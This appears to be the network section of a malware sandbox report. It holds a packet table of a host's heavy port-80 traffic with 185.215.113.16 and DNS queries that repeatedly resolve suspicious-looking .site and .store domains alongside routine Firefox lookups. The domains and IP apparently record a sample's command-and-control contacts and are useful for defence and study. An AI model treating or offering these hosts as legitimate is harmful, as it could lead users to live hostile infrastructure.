Oct 24, 2024 04:58:22.668911934 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668916941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668940067 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668962955 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669291973 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669302940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669325113 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669338942 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669338942 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669349909 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669369936 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669389963 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669648886 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669660091 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669689894 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669701099 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669744015 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669755936 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669766903 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669778109 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669787884 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669789076 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669800043 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669811010 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.669812918 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669831991 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.669840097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.687242031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.687256098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.687271118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.687280893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.687308073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.687325954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.687330961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.687372923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.710546970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.710566044 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.710577011 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.710589886 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.710601091 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.710603952 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.710622072 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.710627079 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.710654020 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.710690022 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.716564894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.716583967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.716595888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.716605902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.716619968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.716650963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.716676950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.754486084 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.754499912 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.754511118 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.754555941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.754599094 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.756926060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.756938934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.756984949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.756985903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.756997108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.757008076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.757019043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.757033110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.757045031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.784878969 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.784941912 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.784965992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.784976959 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.784996986 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785012960 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785015106 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785024881 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785034895 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785047054 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785060883 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785080910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785089970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785093069 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785115957 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785135984 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785254955 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785264969 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785274982 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785294056 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785332918 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785382032 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785449028 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785459995 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785471916 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785482883 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785490990 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785521030 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785743952 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785763025 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785773993 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785792112 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785810947 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785840034 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785851002 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785862923 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785872936 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785881996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.785887003 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785911083 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.785926104 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786207914 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786218882 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786237001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786246061 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786250114 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786257982 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786267042 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786286116 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786294937 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786304951 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786309958 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786318064 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786326885 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786333084 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786349058 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786371946 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786767006 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786777020 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786782026 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786807060 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786818981 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786914110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786923885 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.786957026 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.786978006 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.806524038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806663990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806672096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806677103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806689024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806699038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806710958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806726933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.806772947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.806793928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806863070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.806902885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.827454090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.827510118 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.827521086 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.827533007 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.827543020 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.827554941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.827557087 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.827594995 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.835947990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.835962057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.835973024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.835983992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.835994959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.836002111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.836040974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.871331930 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.871368885 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.871381998 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.871393919 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.871437073 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.871678114 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.876266956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.876296043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.876307011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.876321077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.876331091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.876344919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.876344919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.876374960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.876388073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.901746988 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901783943 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901796103 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901829004 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901842117 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901842117 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.901854992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901866913 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901880026 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.901895046 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.901905060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.901906967 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.901942968 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.901998043 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902009964 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902020931 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902038097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902053118 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902174950 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902249098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902259111 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902277946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902286053 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902291059 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902307034 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902322054 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902334929 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902365923 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902407885 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902431011 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902447939 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902467012 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902494907 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902518034 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902626991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902689934 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902702093 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902713060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902728081 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902751923 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902817965 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902863026 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902873993 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902888060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902923107 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.902975082 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902987957 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.902995110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903006077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903012991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903031111 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.903048038 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.903450012 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903462887 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903485060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903496027 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903507948 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903507948 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.903520107 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903523922 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.903532982 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903547049 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903557062 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.903561115 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.903582096 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.903594971 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.925993919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.926060915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.926074028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.926088095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.926101923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.926120043 CEST	49774	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 04:57:08.592298985 CEST	192.168.2.6	1.1.1.1	0x30c8	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.605467081 CEST	192.168.2.6	1.1.1.1	0x1fc	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.615809917 CEST	192.168.2.6	1.1.1.1	0x5e7	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.626494884 CEST	192.168.2.6	1.1.1.1	0xb061	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.644773006 CEST	192.168.2.6	1.1.1.1	0xeae6	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.665273905 CEST	192.168.2.6	1.1.1.1	0xcfff	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.677232981 CEST	192.168.2.6	1.1.1.1	0xd2ab	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.689273119 CEST	192.168.2.6	1.1.1.1	0x51b5	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.707613945 CEST	192.168.2.6	1.1.1.1	0x392e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:10.385534048 CEST	192.168.2.6	1.1.1.1	0xd452	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.740631104 CEST	192.168.2.6	1.1.1.1	0x92d9	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.753870010 CEST	192.168.2.6	1.1.1.1	0xac03	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.766661882 CEST	192.168.2.6	1.1.1.1	0xdb6f	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.778685093 CEST	192.168.2.6	1.1.1.1	0xf84	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.795078993 CEST	192.168.2.6	1.1.1.1	0x2397	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.808563948 CEST	192.168.2.6	1.1.1.1	0xb547	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.819931030 CEST	192.168.2.6	1.1.1.1	0xe9df	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.833874941 CEST	192.168.2.6	1.1.1.1	0xa63b	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.849996090 CEST	192.168.2.6	1.1.1.1	0xcb2d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.356930971 CEST	192.168.2.6	1.1.1.1	0x3b18	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.372991085 CEST	192.168.2.6	1.1.1.1	0xde20	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.385742903 CEST	192.168.2.6	1.1.1.1	0x8a1	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.419425011 CEST	192.168.2.6	1.1.1.1	0x9ec1	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.435086966 CEST	192.168.2.6	1.1.1.1	0x9a19	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.445715904 CEST	192.168.2.6	1.1.1.1	0xb2af	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.458316088 CEST	192.168.2.6	1.1.1.1	0xb66c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.469320059 CEST	192.168.2.6	1.1.1.1	0x68bf	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.482494116 CEST	192.168.2.6	1.1.1.1	0xf2f	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:45.669893980 CEST	192.168.2.6	1.1.1.1	0x1b12	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:45.697763920 CEST	192.168.2.6	1.1.1.1	0x9604	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:58:47.791588068 CEST	192.168.2.6	1.1.1.1	0xa9c8	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.792545080 CEST	192.168.2.6	1.1.1.1	0x7c49	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.812911987 CEST	192.168.2.6	1.1.1.1	0x7a1f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.813786983 CEST	192.168.2.6	1.1.1.1	0xfaa7	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.823519945 CEST	192.168.2.6	1.1.1.1	0xfb1	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 04:58:47.824002028 CEST	192.168.2.6	1.1.1.1	0x3f51	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:01.568289995 CEST	192.168.2.6	1.1.1.1	0xca7f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:02.787790060 CEST	192.168.2.6	1.1.1.1	0xdfc5	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.791335106 CEST	192.168.2.6	1.1.1.1	0xe1f	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.817548037 CEST	192.168.2.6	1.1.1.1	0xee94	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.817728043 CEST	192.168.2.6	1.1.1.1	0xeaee	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.818105936 CEST	192.168.2.6	1.1.1.1	0x19a8	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.823482990 CEST	192.168.2.6	1.1.1.1	0xfbf4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.842396021 CEST	192.168.2.6	1.1.1.1	0x4661	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.842963934 CEST	192.168.2.6	1.1.1.1	0x327	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:02.854855061 CEST	192.168.2.6	1.1.1.1	0xad37	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
